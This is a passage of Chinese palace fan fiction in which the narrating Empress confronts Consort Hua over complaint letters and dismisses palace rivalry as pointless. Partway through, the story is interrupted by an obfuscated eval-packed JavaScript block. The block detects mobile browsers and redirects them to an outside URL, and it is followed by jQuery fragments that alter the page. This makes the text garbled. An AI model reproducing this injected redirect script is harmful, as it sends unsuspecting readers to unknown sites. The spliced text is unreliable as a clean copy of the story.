景仁宫的晨光，透过雕花窗棂，在地面上投下规整的光斑。殿内燃着淡淡的百合香，试图驱散初夏清晨那一丝若有若无的潮闷。我坐在惯常的位置上，手里拿着一本内务府新呈上来的、关于圆明园“谐奇趣”西洋楼改建进度的折子，心思却有一半飘在别处——牛顿一行人预计下月抵京，安陵容的香坊安置进展，还有被解救女子的初步甄别与安置情况。


    剪秋无声地奉上新沏的六安瓜片，茶香清冽。就在这时，殿外传来略显滞重却依旧刻意维持着某种韵致的脚步声，以及太监略提高了些的通传：“华妃娘娘到——”


    华妃？她竟会主动来景仁宫请安？自年羹尧阵斩罗布藏丹增、西北大定，而她兄长功高震主之势已成朝廷心腹大患后，她虽未明显失宠，但气焰已收敛许多，平素多是称病或在自己宫中，极少主动往我眼前凑。今日前来，倒是稀罕。


    我放下折子，并未起身，只抬了抬眼。帘栊掀起，年世兰扶着颂芝的手，缓缓走了进来。她依旧打扮得明艳照人，一身玫瑰紫缠枝牡丹旗装，头戴点翠大簪，环佩叮当，只是那份曾灼灼逼人的光彩之下，隐隐透出几分强撑的意味，眼底带着不易察觉的疲惫与一丝……不甘？


    她走到殿中，依礼下拜：“臣妾年氏，给皇后娘娘请安，娘娘万福金安。”


    “起来吧，看座。” 我淡淡道，目光平静地落在她身上，没有多余的情绪，只是一种近乎审视的平淡。剪秋搬来绣墩，她谢了恩，侧身坐下，脊背挺得笔直，试图维持住那份骄傲的姿态。


    殿内一时寂静，只有更漏滴滴答答的轻响。华妃似乎有些不适应这种沉默，她抬起描画精致的眉眼，迎上我的目光，唇角扯出一个算不得笑容的弧度，声音带着她惯有的、微微拖长的腔调：


    “皇后娘娘，您赢了。”


    我眉梢几不可察地动了一下，依旧看着她，没有接话。


    她似乎从我这沉默中汲取了某种继续的勇气，或者说，是一种破罐子破摔的冲动，语速加快了些：“坤宁宫那场会，您开得风光；八大胡同那些肮脏链子，您扯得利落；还有……阿其那、塞思黑，” 她吐出这两个充满羞辱的称呼时，声音微微发颤，不知是快意还是兔死狐悲，“您也一并收拾了。这后宫，前朝，眼下看来，是娘娘您……棋高一着。”


    她说完了，带着一种近乎挑衅的神情，等待我的回应，或者，是等待一场预料中的、胜利者对失败者的奚落与训诫。


    我依旧没有说话，只是那样平淡地、甚至带着些许探究地看着她。目光并不锐利，却仿佛能穿透她那一身华服与浓妆，看到她内里的惶惑与虚张声势。


    时间一点点流逝，我始终的沉默，让华妃脸上那强撑的镇定开始出现裂痕。她放在膝上的手，无意识地揪紧了帕子，眼神开始游移，终于忍不住，带着一丝不易察觉的慌乱，问道：“皇后娘娘，臣妾……臣妾说的话，有什么不妥吗？”


    我这才缓缓开口，声音不高，却清晰地回荡在殿内：“华妃，你今日来景仁宫，就是特意来跟本宫说这个的？‘赢了’？‘输了’？”


    我微微向前倾了倾身，目光依旧锁着她：“宫斗。” 我吐出这两个字，带着一丝难以言喻的倦意与漠然，“斗来斗去，华妃，你告诉本宫，你得到了什么？”


    华妃一怔，显然没料到我会问这个。她张了张嘴，本能地想说什么“恩宠”、“权势”，但在我的目光下，那些词汇似乎都变得苍白无力。


    “你让你自己，从‘华妃’，变成‘华贵妃’了吗？” 我继续问，语气平淡得像在讨论天气。


    华妃的脸色瞬间白了一下。“华贵妃”是雍正曾随口提过、却始终未曾正式给予的位份，是她心中隐秘的渴望与刺。我此刻提起，无异于揭疮疤。


    “你或许想说，你得到了协理六宫之权。” 我替她说出了答案，却又紧接着抛出一个更致命的问题，“然后呢？”


    我看着她眼中骤然放大的瞳孔，不给她思考的时间，对剪秋微微颔首。剪秋会意，转身从内室捧出一个不大的紫檀木匣，走到华妃面前，打开。


    里面是厚厚一摞信件。


    “这是近半年来，各宫妃嫔、有头脸的嬷嬷、甚至一些低阶女官，递到本宫这里，或是经由内务府转呈，抱怨你协理六宫期间，行事跋扈，克扣份例，打压异己，甚至纵容手下太监宫女滋扰各处的投诉信函。” 我的声音依旧平静，却字字如锤，“你可以看看。从端妃、敬妃，到欣常在、曹贵人，甚至是一些你或许都没放在眼里的答应、常在……哦，太后娘娘那边，虽未明言，但本宫几次请安，老人家提起六宫事宜，对你，也已是相当不满。”


    华妃起初还带着一丝不屑，随手拿起最上面几封信瞥了一眼。但很快，她的手指开始发抖，脸色由白转青，又由青转灰。信上的字句，或许有夸大，但桩桩件件，皆有所指，时间、地点、人证，甚至有些连她自己都快忘记的、一时意气用事的细节，都被记录在案。她这才恍然惊觉，自己那所谓的“协理六宫之权”，是如何在不知不觉中，将满宫上下，几乎得罪了个干净！她以为的权势煊赫，实则是众叛亲离而不自知！


    “为了一个‘协理六宫’的虚名，你把所有人都推到了对立面。” 我看着她的失态，缓缓道，“华妃，你仔细想想吧。想想你兄长如今在朝中的位置，想想皇上对你年家的态度，再想想，你在这后宫之中，除了那点随时可能被收回的‘协理之权’，还剩下什么？你以后的日子，该怎么过？”


    华妃呆呆地坐在那里，捧着那些信，如同捧着一团炽热的炭火，烧得她五脏六腑都在疼。骄傲，愤怒，恐惧，茫然……种种情绪在她眼中交织。良久，她猛地抬起头，眼中闪过一丝孤注一掷的光芒，像是溺水者抓住最后一根稻草：


    “皇后娘娘！您……您一直住在圆明园，要不就是南巡体察民情，您……您究竟在做什么？！您难道就不争吗？！”


    她问出这句话，仿佛用尽了全身力气，带着不甘，带着困惑，也带着一丝连她自己都未曾察觉的、对另一种可能性的微弱探寻。


    我看着她，忽然觉得有些疲惫，不是身体的累，而是一种面对冥顽不灵、困兽犹斗时的倦怠。


    “宫斗？” 我轻轻重复了一遍这个词，嘴角勾起一丝极淡的、近乎嘲讽的弧度，“说实话，以前在潜邸时，本宫也想过，也争过。” 我坦然承认，并不避讳那段过往，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981680|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “但如今，本宫是大清皇后。”


    我站起身，走到窗边，望向窗外那四四方方的、被宫墙切割的天空，声音不高，却带着一种迥异于这深宫格局的辽阔：


    “本宫该做的，是辅佐皇上，是让这大清江山更加稳固，让天下百姓少些苦难，多些安稳。是看着四阿哥接触新学，是帮着安常在安置那些无依的女子，是查禁戕害女子的陋习，是清除朝中的蠹虫……哪怕，只是尽一点微薄之力。”


    我转过身，重新看向她，目光清澈而冷静，再没有半分争斗的烟火气：“至于你搞的这些，” 我扫了一眼她手中那些投诉信，语气平淡得像在陈述一个客观事实，“在本宫眼里，你不过是个‘暴发户’。有点家世，有点恩宠，便觉天下人都该让着你，围着你转。胃口越来越大，却永远喂不饱。对本宫而言，懒得理，也懒得和你争。”


    “暴发户”三个字，像最锋利的针，刺破了华妃最后一点强撑的尊严。她浑身剧震，脸色惨白如纸，嘴唇哆嗦着，却一个字也说不出来。


    “本宫累了。” 我挥了挥手，意兴阑珊，“这些话，你自己拿回去，好好想，慢慢想。什么时候想明白了，什么时候，可以来圆明园找本宫。”


    我的目光落回那匣投诉信上：“这些信，你也拿好。夜深人静时，反省反省你自己的作为。想想你兄长若有一日失势，你在这四面树敌的后宫，将何以自处。”


    最后，我对一直紧张地站在华妃身后、脸色比华妃还要难看的颂芝道：“颂芝，扶好你家主子。” 我的声音恢复了皇后的威严与平淡，“别让她摔了。”


    颂芝如梦初醒，慌忙上前，几乎是半扶半抱地，将失魂落魄、摇摇欲坠的华妃从绣墩上搀扶起来。华妃手中那些信笺，散落了一地，她也浑然不觉。


    主仆二人，再没有来时的半分气焰，如同两片被秋风扫落的叶子，踉跄着，仓皇地退出了景仁宫。


    殿内重新恢复了寂静。百合香的清甜似乎也驱不散方才那番对话留下的沉重与厌倦。


    剪秋默默上前，蹲下身，将散落的信笺一一拾起，重新放回匣中。


    “娘娘，华妃她……” 剪秋欲言又止。


    “由她去。” 我重新坐回椅中，端起那杯早已凉透的六安瓜片，抿了一口，苦涩的滋味在舌尖蔓延，“路是自己选的。是继续在那一亩三分地里争个你死我活，最后或许落得满盘皆输；还是能跳出那口井，看到更广阔的天空……看她自己的造化吧。”


    我将凉茶放下，目光投向窗外。庭院里，几株石榴花开得正艳，红得像火。但这紫禁城的红，有多少是鲜血染就，又有多少，能真正暖人心呢？


    我想要的，从来不是在这四方墙内“赢”过谁。我要的，是墙外那片更大的天下，能少一些像胭脂胡同那样的眼泪，多一些像安陵容香坊里那样的生机；是大清的明天，能多一份像弘历眼中对西学的好奇，少一份像老八老九那般的蝇营狗苟与肮脏算计。


    华妃不懂，或许永远也不会懂。但没关系，这条路，我本就打算一个人走。只是偶尔，也会觉得，有点累。


    “更衣吧，” 我对剪秋说，“去看看安常在那边，安置得怎么样了。”